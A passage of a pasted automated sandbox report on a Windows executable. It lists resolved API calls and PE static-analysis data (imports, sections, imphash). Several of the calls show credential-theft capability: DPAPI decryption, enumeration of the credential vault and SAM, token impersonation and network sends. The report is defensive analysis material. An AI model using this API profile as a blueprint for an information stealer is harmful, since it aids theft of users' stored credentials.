  1753. "kernel32.dll.CloseHandle",
  1754. "kernel32.dll.GetSystemInfo",
  1755. "kernel32.dll.lstrcmpiA",
  1756. "kernel32.dll.GetEnvironmentVariableA",
  1757. "kernel32.dll.GetTempPathA",
  1758. "user32.dll.wsprintfA",
  1759. "advapi32.dll.CryptDestroyHash",
  1760. "advapi32.dll.CryptHashData",
  1761. "advapi32.dll.CryptCreateHash",
  1762. "advapi32.dll.CryptDecrypt",
  1763. "advapi32.dll.CryptDestroyKey",
  1764. "advapi32.dll.CryptDeriveKey",
  1765. "advapi32.dll.CryptReleaseContext",
  1766. "advapi32.dll.CryptAcquireContextA",
  1767. "advapi32.dll.LookupAccountSidA",
  1768. "advapi32.dll.GetTokenInformation",
  1769. "advapi32.dll.OpenProcessToken",
  1770. "kernel32.dll.SortGetHandle",
  1771. "kernel32.dll.SortCloseHandle",
  1772. "sechost.dll.LookupAccountSidLocalA",
  1773. "rasapi32.dll.RasConnectionNotificationW",
  1774. "sechost.dll.NotifyServiceStatusChangeA",
  1775. "cryptbase.dll.SystemFunction036",
  1776. "kernel32.dll.GetNativeSystemInfo",
  1777. "cryptsp.dll.CryptAcquireContextA",
  1778. "cryptsp.dll.CryptCreateHash",
  1779. "cryptsp.dll.CryptHashData",
  1780. "cryptsp.dll.CryptDeriveKey",
  1781. "cryptsp.dll.CryptDecrypt",
  1782. "cryptsp.dll.CryptDestroyHash",
  1783. "cryptsp.dll.CryptDestroyKey",
  1784. "cryptsp.dll.CryptReleaseContext",
  1785. "wsock32.dll.inet_addr",
  1786. "wsock32.dll.gethostbyname",
  1787. "wsock32.dll.socket",
  1788. "wsock32.dll.connect",
  1789. "wsock32.dll.closesocket",
  1790. "wsock32.dll.send",
  1791. "wsock32.dll.select",
  1792. "wsock32.dll.recv",
  1793. "wsock32.dll.setsockopt",
  1794. "wsock32.dll.WSAStartup",
  1795. "kernel32.dll.ReadFile",
  1796. "kernel32.dll.GlobalLock",
  1797. "kernel32.dll.GlobalUnlock",
  1798. "kernel32.dll.LocalFree",
  1799. "kernel32.dll.LocalAlloc",
  1800. "kernel32.dll.GetTickCount",
  1801. "kernel32.dll.GetFileAttributesA",
  1802. "kernel32.dll.ExpandEnvironmentStringsA",
  1803. "kernel32.dll.GetFileSize",
  1804. "kernel32.dll.CreateFileMappingA",
  1805. "kernel32.dll.MapViewOfFile",
  1806. "kernel32.dll.UnmapViewOfFile",
  1807. "kernel32.dll.CreateDirectoryA",
  1808. "kernel32.dll.DeleteFileA",
  1809. "kernel32.dll.GetCurrentProcess",
  1810. "kernel32.dll.WideCharToMultiByte",
  1811. "kernel32.dll.lstrcmpA",
  1812. "kernel32.dll.CreateToolhelp32Snapshot",
  1813. "kernel32.dll.Process32First",
  1814. "kernel32.dll.Process32Next",
  1815. "kernel32.dll.FindFirstFileA",
  1816. "kernel32.dll.FindNextFileA",
  1817. "kernel32.dll.FindClose",
  1818. "kernel32.dll.GetVersionExA",
  1819. "kernel32.dll.GetLocaleInfoA",
  1820. "kernel32.dll.GetPrivateProfileStringA",
  1821. "kernel32.dll.SetCurrentDirectoryA",
  1822. "kernel32.dll.GetPrivateProfileSectionNamesA",
  1823. "kernel32.dll.GetPrivateProfileIntA",
  1824. "kernel32.dll.GetCurrentDirectoryA",
  1825. "kernel32.dll.lstrlenW",
  1826. "kernel32.dll.CreateMutexA",
  1827. "kernel32.dll.LCMapStringA",
  1828. "kernel32.dll.SetUnhandledExceptionFilter",
  1829. "urlmon.dll.ObtainUserAgentString",
  1830. "userenv.dll.LoadUserProfileA",
  1831. "userenv.dll.UnloadUserProfile",
  1832. "ole32.dll.CreateStreamOnHGlobal",
  1833. "ole32.dll.GetHGlobalFromStream",
  1834. "ole32.dll.CoCreateGuid",
  1835. "ole32.dll.CoTaskMemFree",
  1836. "ole32.dll.CoCreateInstance",
  1837. "ole32.dll.OleInitialize",
  1838. "user32.dll.FindWindowExA",
  1839. "user32.dll.SendMessageA",
  1840. "user32.dll.GetClassNameA",
  1841. "user32.dll.SendMessageW",
  1842. "advapi32.dll.RegOpenKeyExA",
  1843. "advapi32.dll.RegQueryValueExA",
  1844. "advapi32.dll.RegCloseKey",
  1845. "advapi32.dll.RegOpenKeyA",
  1846. "advapi32.dll.RegEnumKeyExA",
  1847. "advapi32.dll.RegCreateKeyA",
  1848. "advapi32.dll.RegSetValueExA",
  1849. "advapi32.dll.IsTextUnicode",
  1850. "advapi32.dll.RegOpenCurrentUser",
  1851. "advapi32.dll.GetUserNameA",
  1852. "wininet.dll.InternetCreateUrlA",
  1853. "shlwapi.dll.StrStrIA",
  1854. "shlwapi.dll.StrRChrIA",
  1855. "shlwapi.dll.StrToIntA",
  1856. "shlwapi.dll.StrCmpNIA",
  1857. "shlwapi.dll.StrStrIW",
  1858. "shlwapi.dll.StrStrA",
  1859. "uxtheme.dll.ThemeInitApiHook",
  1860. "user32.dll.IsProcessDPIAware",
  1861. "ole32.dll.StgOpenStorage",
  1862. "crypt32.dll.CryptUnprotectData",
  1863. "crypt32.dll.CertOpenSystemStoreA",
  1864. "crypt32.dll.CertEnumCertificatesInStore",
  1865. "crypt32.dll.CertCloseStore",
  1866. "crypt32.dll.CryptAcquireCertificatePrivateKey",
  1867. "advapi32.dll.AllocateAndInitializeSid",
  1868. "advapi32.dll.CheckTokenMembership",
  1869. "advapi32.dll.FreeSid",
  1870. "advapi32.dll.CredEnumerateA",
  1871. "advapi32.dll.CredFree",
  1872. "advapi32.dll.CryptGetUserKey",
  1873. "advapi32.dll.CryptExportKey",
  1874. "advapi32.dll.RevertToSelf",
  1875. "advapi32.dll.ImpersonateLoggedOnUser",
  1876. "advapi32.dll.ConvertSidToStringSidA",
  1877. "advapi32.dll.LogonUserA",
  1878. "advapi32.dll.LookupPrivilegeValueA",
  1879. "advapi32.dll.AdjustTokenPrivileges",
  1880. "advapi32.dll.CreateProcessAsUserA",
  1881. "shell32.dll.SHGetFolderPathA",
  1882. "netapi32.dll.NetApiBufferFree",
  1883. "netapi32.dll.NetUserEnum",
  1884. "kernel32.dll.WTSGetActiveConsoleSessionId",
  1885. "kernel32.dll.ProcessIdToSessionId",
  1886. "vaultcli.dll.VaultOpenVault",
  1887. "vaultcli.dll.VaultEnumerateItems",
  1888. "vaultcli.dll.VaultGetItem",
  1889. "vaultcli.dll.VaultCloseVault",
  1890. "vaultcli.dll.VaultFree",
  1891. "msi.dll.MsiGetComponentPathA",
  1892. "pstorec.dll.PStoreCreateInstance",
  1893. "userenv.dll.CreateEnvironmentBlock",
  1894. "userenv.dll.DestroyEnvironmentBlock",
  1895. "kernel32.dll.IsWow64Process",
  1896. "mlang.dll.#112",
  1897. "wininet.dll.FindFirstUrlCacheEntryA",
  1898. "urlmon.dll.CreateUri",
  1899. "kernel32.dll.InitializeSRWLock",
  1900. "kernel32.dll.AcquireSRWLockExclusive",
  1901. "kernel32.dll.AcquireSRWLockShared",
  1902. "kernel32.dll.ReleaseSRWLockExclusive",
  1903. "kernel32.dll.ReleaseSRWLockShared",
  1904. "wininet.dll.FindNextUrlCacheEntryA",
  1905. "urlmon.dll.CreateIUriBuilder",
  1906. "urlmon.dll.IntlPercentEncodeNormalize",
  1907. "wininet.dll.FindCloseUrlCache",
  1908. "samlib.dll.SamConnect",
  1909. "rpcrt4.dll.NdrClientCall2",
  1910. "rpcrt4.dll.RpcStringBindingComposeW",
  1911. "rpcrt4.dll.RpcBindingFromStringBindingW",
  1912. "rpcrt4.dll.RpcStringFreeW",
  1913. "rpcrt4.dll.RpcBindingFree",
  1914. "samlib.dll.SamGetCompatibilityMode",
  1915. "samlib.dll.SamOpenDomain",
  1916. "samlib.dll.SamEnumerateDomainsInSamServer",
  1917. "samlib.dll.SamLookupDomainInSamServer",
  1918. "samlib.dll.SamFreeMemory",
  1919. "samlib.dll.SamEnumerateUsersInDomain",
  1920. "samlib.dll.SamOpenUser",
  1921. "samlib.dll.SamQueryInformationUser",
  1922. "samlib.dll.SamQuerySecurityObject",
  1923. "samlib.dll.SamGetGroupsForUser",
  1924. "samlib.dll.SamRidToSid",
  1925. "samlib.dll.SamGetAliasMembership",
  1926. "samlib.dll.SamCloseHandle",
  1927. "sspicli.dll.LogonUserExExW",
  1928. "kernel32.dll.SetThreadUILanguage",
  1929. "kernel32.dll.CopyFileExW",
  1930. "kernel32.dll.IsDebuggerPresent",
  1931. "kernel32.dll.SetConsoleInputExeNameW",
  1932. "kernel32.dll.FlsAlloc",
  1933. "kernel32.dll.FlsGetValue",
  1934. "kernel32.dll.FlsSetValue",
  1935. "kernel32.dll.FlsFree",
  1936. "kernel32.dll.VirtualProtect",
  1937. "kernel32.dll.SetErrorMode",
  1938. "kernel32.dll.InitializeCriticalSection",
  1939. "kernel32.dll.DeleteCriticalSection",
  1940. "kernel32.dll.GetCommandLineW",
  1941. "kernel32.dll.HeapDestroy",
  1942. "kernel32.dll.HeapCreate",
  1943. "kernel32.dll.AddVectoredExceptionHandler",
  1944. "kernel32.dll.RemoveVectoredExceptionHandler",
  1945. "kernel32.dll.GetSystemDefaultUILanguage",
  1946. "kernel32.dll.GetCurrentProcessId",
  1947. "kernel32.dll.VerLanguageNameA",
  1948. "kernel32.dll.lstrcpyW",
  1949. "kernel32.dll.CreateFileMappingW",
  1950. "kernel32.dll.GetModuleFileNameW",
  1951. "kernel32.dll.TlsGetValue",
  1952. "kernel32.dll.EnterCriticalSection",
  1953. "kernel32.dll.LeaveCriticalSection",
  1954. "kernel32.dll.TlsFree",
  1955. "kernel32.dll.TlsSetValue",
  1956. "kernel32.dll.CreateEventA",
  1957. "kernel32.dll.GetLongPathNameW",
  1958. "kernel32.dll.TlsAlloc",
  1959. "user32.dll.wsprintfW",
  1960. "msvcr100.dll.atexit"
  1961. ]
  1962.  
  1963. [*] Static Analysis: {
  1964. "pe": {
  1965. "peid_signatures": null,
  1966. "imports": [
  1967. {
  1968. "imports": [
  1969. {
  1970. "name": "GetDateFormatA",
  1971. "address": "0x412024"
  1972. },
  1973. {
  1974. "name": "GetTimeFormatA",
  1975. "address": "0x412028"
  1976. },
  1977. {
  1978. "name": "GetUserDefaultLCID",
  1979. "address": "0x41202c"
  1980. },
  1981. {
  1982. "name": "GetLocaleInfoA",
  1983. "address": "0x412030"
  1984. },
  1985. {
  1986. "name": "VirtualProtect",
  1987. "address": "0x412034"
  1988. },
  1989. {
  1990. "name": "GetStringTypeW",
  1991. "address": "0x412038"
  1992. },
  1993. {
  1994. "name": "GetStringTypeA",
  1995. "address": "0x41203c"
  1996. },
  1997. {
  1998. "name": "LCMapStringW",
  1999. "address": "0x412040"
  2000. },
  2001. {
  2002. "name": "LCMapStringA",
  2003. "address": "0x412044"
  2004. },
  2005. {
  2006. "name": "LoadLibraryA",
  2007. "address": "0x412048"
  2008. },
  2009. {
  2010. "name": "InterlockedExchange",
  2011. "address": "0x41204c"
  2012. },
  2013. {
  2014. "name": "FreeLibrary",
  2015. "address": "0x412050"
  2016. },
  2017. {
  2018. "name": "GetConsoleOutputCP",
  2019. "address": "0x412054"
  2020. },
  2021. {
  2022. "name": "WriteConsoleA",
  2023. "address": "0x412058"
  2024. },
  2025. {
  2026. "name": "SetStdHandle",
  2027. "address": "0x41205c"
  2028. },
  2029. {
  2030. "name": "InitializeCriticalSectionAndSpinCount",
  2031. "address": "0x412060"
  2032. },
  2033. {
  2034. "name": "CloseHandle",
  2035. "address": "0x412064"
  2036. },
  2037. {
  2038. "name": "CreateFileW",
  2039. "address": "0x412068"
  2040. },
  2041. {
  2042. "name": "GetLastError",
  2043. "address": "0x41206c"
  2044. },
  2045. {
  2046. "name": "ReadFile",
  2047. "address": "0x412070"
  2048. },
  2049. {
  2050. "name": "WriteFile",
  2051. "address": "0x412074"
  2052. },
  2053. {
  2054. "name": "SetFilePointer",
  2055. "address": "0x412078"
  2056. },
  2057. {
  2058. "name": "WideCharToMultiByte",
  2059. "address": "0x41207c"
  2060. },
  2061. {
  2062. "name": "lstrlenW",
  2063. "address": "0x412080"
  2064. },
  2065. {
  2066. "name": "GetFileSize",
  2067. "address": "0x412084"
  2068. },
  2069. {
  2070. "name": "MapViewOfFile",
  2071. "address": "0x412088"
  2072. },
  2073. {
  2074. "name": "CreateFileMappingW",
  2075. "address": "0x41208c"
  2076. },
  2077. {
  2078. "name": "DeleteFileW",
  2079. "address": "0x412090"
  2080. },
  2081. {
  2082. "name": "UnmapViewOfFile",
  2083. "address": "0x412094"
  2084. },
  2085. {
  2086. "name": "FileTimeToDosDateTime",
  2087. "address": "0x412098"
  2088. },
  2089. {
  2090. "name": "MultiByteToWideChar",
  2091. "address": "0x41209c"
  2092. },
  2093. {
  2094. "name": "SetEvent",
  2095. "address": "0x4120a0"
  2096. },
  2097. {
  2098. "name": "ResumeThread",
  2099. "address": "0x4120a4"
  2100. },
  2101. {
  2102. "name": "WaitForSingleObject",
  2103. "address": "0x4120a8"
  2104. },
  2105. {
  2106. "name": "SuspendThread",
  2107. "address": "0x4120ac"
  2108. },
  2109. {
  2110. "name": "ResetEvent",
  2111. "address": "0x4120b0"
  2112. },
  2113. {
  2114. "name": "CreateThread",
  2115. "address": "0x4120b4"
  2116. },
  2117. {
  2118. "name": "Sleep",
  2119. "address": "0x4120b8"
  2120. },
  2121. {
  2122. "name": "GlobalUnlock",
  2123. "address": "0x4120bc"
  2124. },
  2125. {
  2126. "name": "GlobalLock",
  2127. "address": "0x4120c0"
  2128. },
  2129. {
  2130. "name": "GlobalAlloc",
  2131. "address": "0x4120c4"
  2132. },
  2133. {
  2134. "name": "EnumSystemLocalesA",
  2135. "address": "0x4120c8"
  2136. },
  2137. {
  2138. "name": "SizeofResource",
  2139. "address": "0x4120cc"
  2140. },
  2141. {
  2142. "name": "GetSystemDefaultLangID",
  2143. "address": "0x4120d0"
  2144. },
  2145. {
  2146. "name": "FindResourceW",
  2147. "address": "0x4120d4"
  2148. },
  2149. {
  2150. "name": "lstrlenA",
  2151. "address": "0x4120d8"
  2152. },
  2153. {
  2154. "name": "lstrcatW",
  2155. "address": "0x4120dc"
  2156. },
  2157. {
  2158. "name": "GetTempPathW",
  2159. "address": "0x4120e0"
  2160. },
  2161. {
  2162. "name": "CreateEventW",
  2163. "address": "0x4120e4"
  2164. },
  2165. {
  2166. "name": "FindClose",
  2167. "address": "0x4120e8"
  2168. },
  2169. {
  2170. "name": "FindFirstFileW",
  2171. "address": "0x4120ec"
  2172. },
  2173. {
  2174. "name": "GetCommandLineW",
  2175. "address": "0x4120f0"
  2176. },
  2177. {
  2178. "name": "FileTimeToLocalFileTime",
  2179. "address": "0x4120f4"
  2180. },
  2181. {
  2182. "name": "CreateFileA",
  2183. "address": "0x4120f8"
  2184. },
  2185. {
  2186. "name": "GetCurrentProcessId",
  2187. "address": "0x4120fc"
  2188. },
  2189. {
  2190. "name": "GetTickCount",
  2191. "address": "0x412100"
  2192. },
  2193. {
  2194. "name": "QueryPerformanceCounter",
  2195. "address": "0x412104"
  2196. },
  2197. {
  2198. "name": "GetEnvironmentStringsW",
  2199. "address": "0x412108"
  2200. },
  2201. {
  2202. "name": "FreeEnvironmentStringsW",
  2203. "address": "0x41210c"
  2204. },
  2205. {
  2206. "name": "GetEnvironmentStrings",
  2207. "address": "0x412110"
  2208. },
  2209. {
  2210. "name": "FreeEnvironmentStringsA",
  2211. "address": "0x412114"
  2212. },
  2213. {
  2214. "name": "HeapSize",
  2215. "address": "0x412118"
  2216. },
  2217. {
  2218. "name": "GetModuleHandleA",
  2219. "address": "0x41211c"
  2220. },
  2221. {
  2222. "name": "IsValidCodePage",
  2223. "address": "0x412120"
  2224. },
  2225. {
  2226. "name": "GetOEMCP",
  2227. "address": "0x412124"
  2228. },
  2229. {
  2230. "name": "GetACP",
  2231. "address": "0x412128"
  2232. },
  2233. {
  2234. "name": "GetCPInfo",
  2235. "address": "0x41212c"
  2236. },
  2237. {
  2238. "name": "GetCurrentThread",
  2239. "address": "0x412130"
  2240. },
  2241. {
  2242. "name": "InterlockedDecrement",
  2243. "address": "0x412134"
  2244. },
  2245. {
  2246. "name": "GetCurrentThreadId",
  2247. "address": "0x412138"
  2248. },
  2249. {
  2250. "name": "SetLastError",
  2251. "address": "0x41213c"
  2252. },
  2253. {
  2254. "name": "InterlockedIncrement",
  2255. "address": "0x412140"
  2256. },
  2257. {
  2258. "name": "TlsFree",
  2259. "address": "0x412144"
  2260. },
  2261. {
  2262. "name": "WriteConsoleW",
  2263. "address": "0x412148"
  2264. },
  2265. {
  2266. "name": "TlsSetValue",
  2267. "address": "0x41214c"
  2268. },
  2269. {
  2270. "name": "TlsAlloc",
  2271. "address": "0x412150"
  2272. },
  2273. {
  2274. "name": "TlsGetValue",
  2275. "address": "0x412154"
  2276. },
  2277. {
  2278. "name": "GetModuleFileNameA",
  2279. "address": "0x412158"
  2280. },
  2281. {
  2282. "name": "ExitProcess",
  2283. "address": "0x41215c"
  2284. },
  2285. {
  2286. "name": "GetProcAddress",
  2287. "address": "0x412160"
  2288. },
  2289. {
  2290. "name": "GetModuleHandleW",
  2291. "address": "0x412164"
  2292. },
  2293. {
  2294. "name": "HeapDestroy",
  2295. "address": "0x412168"
  2296. },
  2297. {
  2298. "name": "HeapCreate",
  2299. "address": "0x41216c"
  2300. },
  2301. {
  2302. "name": "HeapReAlloc",
  2303. "address": "0x412170"
  2304. },
  2305. {
  2306. "name": "VirtualAlloc",
  2307. "address": "0x412174"
  2308. },
  2309. {
  2310. "name": "IsValidLocale",
  2311. "address": "0x412178"
  2312. },
  2313. {
  2314. "name": "SetEndOfFile",
  2315. "address": "0x41217c"
  2316. },
  2317. {
  2318. "name": "GetProcessHeap",
  2319. "address": "0x412180"
  2320. },
  2321. {
  2322. "name": "GetLocaleInfoW",
  2323. "address": "0x412184"
  2324. },
  2325. {
  2326. "name": "GetTimeZoneInformation",
  2327. "address": "0x412188"
  2328. },
  2329. {
  2330. "name": "CompareStringA",
  2331. "address": "0x41218c"
  2332. },
  2333. {
  2334. "name": "CompareStringW",
  2335. "address": "0x412190"
  2336. },
  2337. {
  2338. "name": "LoadResource",
  2339. "address": "0x412194"
  2340. },
  2341. {
  2342. "name": "SetEnvironmentVariableA",
  2343. "address": "0x412198"
  2344. },
  2345. {
  2346. "name": "SetConsoleCtrlHandler",
  2347. "address": "0x41219c"
  2348. },
  2349. {
  2350. "name": "FlushFileBuffers",
  2351. "address": "0x4121a0"
  2352. },
  2353. {
  2354. "name": "VirtualFree",
  2355. "address": "0x4121a4"
  2356. },
  2357. {
  2358. "name": "FatalAppExitA",
  2359. "address": "0x4121a8"
  2360. },
  2361. {
  2362. "name": "DeleteCriticalSection",
  2363. "address": "0x4121ac"
  2364. },
  2365. {
  2366. "name": "HeapAlloc",
  2367. "address": "0x4121b0"
  2368. },
  2369. {
  2370. "name": "HeapFree",
  2371. "address": "0x4121b4"
  2372. },
  2373. {
  2374. "name": "RaiseException",
  2375. "address": "0x4121b8"
  2376. },
  2377. {
  2378. "name": "RtlUnwind",
  2379. "address": "0x4121bc"
  2380. },
  2381. {
  2382. "name": "GlobalAddAtomW",
  2383. "address": "0x4121c0"
  2384. },
  2385. {
  2386. "name": "GetSystemTimeAsFileTime",
  2387. "address": "0x4121c4"
  2388. },
  2389. {
  2390. "name": "GetCommandLineA",
  2391. "address": "0x4121c8"
  2392. },
  2393. {
  2394. "name": "GetStartupInfoA",
  2395. "address": "0x4121cc"
  2396. },
  2397. {
  2398. "name": "EnterCriticalSection",
  2399. "address": "0x4121d0"
  2400. },
  2401. {
  2402. "name": "LeaveCriticalSection",
  2403. "address": "0x4121d4"
  2404. },
  2405. {
  2406. "name": "TerminateProcess",
  2407. "address": "0x4121d8"
  2408. },
  2409. {
  2410. "name": "GetCurrentProcess",
  2411. "address": "0x4121dc"
  2412. },
  2413. {
  2414. "name": "UnhandledExceptionFilter",
  2415. "address": "0x4121e0"
  2416. },
  2417. {
  2418. "name": "SetUnhandledExceptionFilter",
  2419. "address": "0x4121e4"
  2420. },
  2421. {
  2422. "name": "IsDebuggerPresent",
  2423. "address": "0x4121e8"
  2424. },
  2425. {
  2426. "name": "GetConsoleCP",
  2427. "address": "0x4121ec"
  2428. },
  2429. {
  2430. "name": "GetConsoleMode",
  2431. "address": "0x4121f0"
  2432. },
  2433. {
  2434. "name": "SetHandleCount",
  2435. "address": "0x4121f4"
  2436. },
  2437. {
  2438. "name": "GetStdHandle",
  2439. "address": "0x4121f8"
  2440. },
  2441. {
  2442. "name": "GetFileType",
  2443. "address": "0x4121fc"
  2444. }
  2445. ],
  2446. "dll": "KERNEL32.dll"
  2447. },
  2448. {
  2449. "imports": [
  2450. {
  2451. "name": "DialogBoxParamW",
  2452. "address": "0x412204"
  2453. },
  2454. {
  2455. "name": "GetSysColor",
  2456. "address": "0x412208"
  2457. },
  2458. {
  2459. "name": "EnableWindow",
  2460. "address": "0x41220c"
  2461. },
  2462. {
  2463. "name": "SendMessageA",
  2464. "address": "0x412210"
  2465. },
  2466. {
  2467. "name": "LoadIconW",
  2468. "address": "0x412214"
  2469. },
  2470. {
  2471. "name": "wsprintfW",
  2472. "address": "0x412218"
  2473. },
  2474. {
  2475. "name": "GetDC",
  2476. "address": "0x41221c"
  2477. },
  2478. {
  2479. "name": "SetRect",
  2480. "address": "0x412220"
  2481. },
  2482. {
  2483. "name": "ValidateRect",
  2484. "address": "0x412224"
  2485. },
  2486. {
  2487. "name": "GetWindowLongW",
  2488. "address": "0x412228"
  2489. },
  2490. {
  2491. "name": "SetWindowLongW",
  2492. "address": "0x41222c"
  2493. },
  2494. {
  2495. "name": "SetWindowTextW",
  2496. "address": "0x412230"
  2497. },
  2498. {
  2499. "name": "ReleaseDC",
  2500. "address": "0x412234"
  2501. },
  2502. {
  2503. "name": "SetDlgItemTextW",
  2504. "address": "0x412238"
  2505. },
  2506. {
  2507. "name": "IsWindow",
  2508. "address": "0x41223c"
  2509. },
  2510. {
  2511. "name": "GetWindowRect",
  2512. "address": "0x412240"
  2513. },
  2514. {
  2515. "name": "SetWindowPos",
  2516. "address": "0x412244"
  2517. },
  2518. {
  2519. "name": "GetDlgItem",
  2520. "address": "0x412248"
  2521. },
  2522. {
  2523. "name": "SendMessageW",
  2524. "address": "0x41224c"
  2525. },
  2526. {
  2527. "name": "PostMessageW",
  2528. "address": "0x412250"
  2529. },
  2530. {
  2531. "name": "InvalidateRect",
  2532. "address": "0x412254"
  2533. },
  2534. {
  2535. "name": "ShowWindow",
  2536. "address": "0x412258"
  2537. },
  2538. {
  2539. "name": "EndDialog",
  2540. "address": "0x41225c"
  2541. },
  2542. {
  2543. "name": "LoadCursorW",
  2544. "address": "0x412260"
  2545. },
  2546. {
  2547. "name": "SetCursor",
  2548. "address": "0x412264"
  2549. },
  2550. {
  2551. "name": "CallWindowProcW",
  2552. "address": "0x412268"
  2553. },
  2554. {
  2555. "name": "MessageBoxW",
  2556. "address": "0x41226c"
  2557. },
  2558. {
  2559. "name": "GetClientRect",
  2560. "address": "0x412270"
  2561. },
  2562. {
  2563. "name": "GetWindowTextW",
  2564. "address": "0x412274"
  2565. },
  2566. {
  2567. "name": "LockWindowUpdate",
  2568. "address": "0x412278"
  2569. },
  2570. {
  2571. "name": "ScreenToClient",
  2572. "address": "0x41227c"
  2573. }
  2574. ],
  2575. "dll": "USER32.dll"
  2576. },
  2577. {
  2578. "imports": [
  2579. {
  2580. "name": "GetDeviceCaps",
  2581. "address": "0x412000"
  2582. },
  2583. {
  2584. "name": "GetObjectW",
  2585. "address": "0x412004"
  2586. },
  2587. {
  2588. "name": "CreateSolidBrush",
  2589. "address": "0x412008"
  2590. },
  2591. {
  2592. "name": "SelectObject",
  2593. "address": "0x41200c"
  2594. },
  2595. {
  2596. "name": "SetTextColor",
  2597. "address": "0x412010"
  2598. },
  2599. {
  2600. "name": "GetStockObject",
  2601. "address": "0x412014"
  2602. },
  2603. {
  2604. "name": "CreateFontIndirectW",
  2605. "address": "0x412018"
  2606. },
  2607. {
  2608. "name": "SetBkMode",
  2609. "address": "0x41201c"
  2610. }
  2611. ],
  2612. "dll": "GDI32.dll"
  2613. }
  2614. ],
  2615. "digital_signers": null,
  2616. "exported_dll_name": null,
  2617. "actual_checksum": "0x00026cd5",
  2618. "overlay": null,
  2619. "imagebase": "0x00400000",
  2620. "reported_checksum": "0x00026cd5",
  2621. "icon_hash": null,
  2622. "entrypoint": "0x0040a7af",
  2623. "timestamp": "2019-04-23 05:10:14",
  2624. "osversion": "4.0",
  2625. "sections": [
  2626. {
  2627. "name": ".text",
  2628. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
  2629. "virtual_address": "0x00001000",
  2630. "size_of_data": "0x00010e00",
  2631. "entropy": "5.14",
  2632. "raw_address": "0x00000400",
  2633. "virtual_size": "0x00010c90",
  2634. "characteristics_raw": "0x60000020"
  2635. },
  2636. {
  2637. "name": ".rdata",
  2638. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  2639. "virtual_address": "0x00012000",
  2640. "size_of_data": "0x00001400",
  2641. "entropy": "4.68",
  2642. "raw_address": "0x00011200",
  2643. "virtual_size": "0x000013ee",
  2644. "characteristics_raw": "0x40000040"
  2645. },
  2646. {
  2647. "name": ".data",
  2648. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  2649. "virtual_address": "0x00014000",
  2650. "size_of_data": "0x00003c00",
  2651. "entropy": "1.07",
  2652. "raw_address": "0x00012600",
  2653. "virtual_size": "0x00006cc0",
  2654. "characteristics_raw": "0xc0000040"
  2655. },
  2656. {
  2657. "name": ".rsrc",
  2658. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  2659. "virtual_address": "0x0001b000",
  2660. "size_of_data": "0x00002000",
  2661. "entropy": "5.21",
  2662. "raw_address": "0x00016200",
  2663. "virtual_size": "0x00002000",
  2664. "characteristics_raw": "0x40000040"
  2665. }
  2666. ],
  2667. "resources": [],
  2668. "dirents": [
  2669. {
  2670. "virtual_address": "0x00002f10",
  2671. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  2672. "size": "0x0000049c"
  2673. },
  2674. {
  2675. "virtual_address": "0x00012640",
  2676. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  2677. "size": "0x00000050"
  2678. },
  2679. {
  2680. "virtual_address": "0x0001b000",
  2681. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  2682. "size": "0x00001328"
  2683. },
  2684. {
  2685. "virtual_address": "0x00000000",
  2686. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  2687. "size": "0x00000000"
  2688. },
  2689. {
  2690. "virtual_address": "0x00000000",
  2691. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  2692. "size": "0x00000000"
  2693. },
  2694. {
  2695. "virtual_address": "0x00000000",
  2696. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  2697. "size": "0x00000000"
  2698. },
  2699. {
  2700. "virtual_address": "0x00000000",
  2701. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  2702. "size": "0x00000000"
  2703. },
  2704. {
  2705. "virtual_address": "0x00000000",
  2706. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  2707. "size": "0x00000000"
  2708. },
  2709. {
  2710. "virtual_address": "0x00000000",
  2711. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  2712. "size": "0x00000000"
  2713. },
  2714. {
  2715. "virtual_address": "0x00000000",
  2716. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  2717. "size": "0x00000000"
  2718. },
  2719. {
  2720. "virtual_address": "0x00000000",
  2721. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  2722. "size": "0x00000000"
  2723. },
  2724. {
  2725. "virtual_address": "0x00000000",
  2726. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  2727. "size": "0x00000000"
  2728. },
  2729. {
  2730. "virtual_address": "0x00000000",
  2731. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  2732. "size": "0x00000284"
  2733. },
  2734. {
  2735. "virtual_address": "0x00000000",
  2736. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  2737. "size": "0x00000000"
  2738. },
  2739. {
  2740. "virtual_address": "0x00000000",
  2741. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  2742. "size": "0x00000000"
  2743. },
  2744. {
  2745. "virtual_address": "0x00000000",
  2746. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  2747. "size": "0x00000000"
  2748. }
  2749. ],
  2750. "exports": [],
  2751. "guest_signers": {},
  2752. "imphash": "066917207e1298837dffe54f19e5875a",
  2753. "icon_fuzzy": null,
  2754. "icon": null,
  2755. "pdbpath": null,
  2756. "imported_dll_count": 3,
  2757. "versioninfo": []
  2758. }
  2759. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!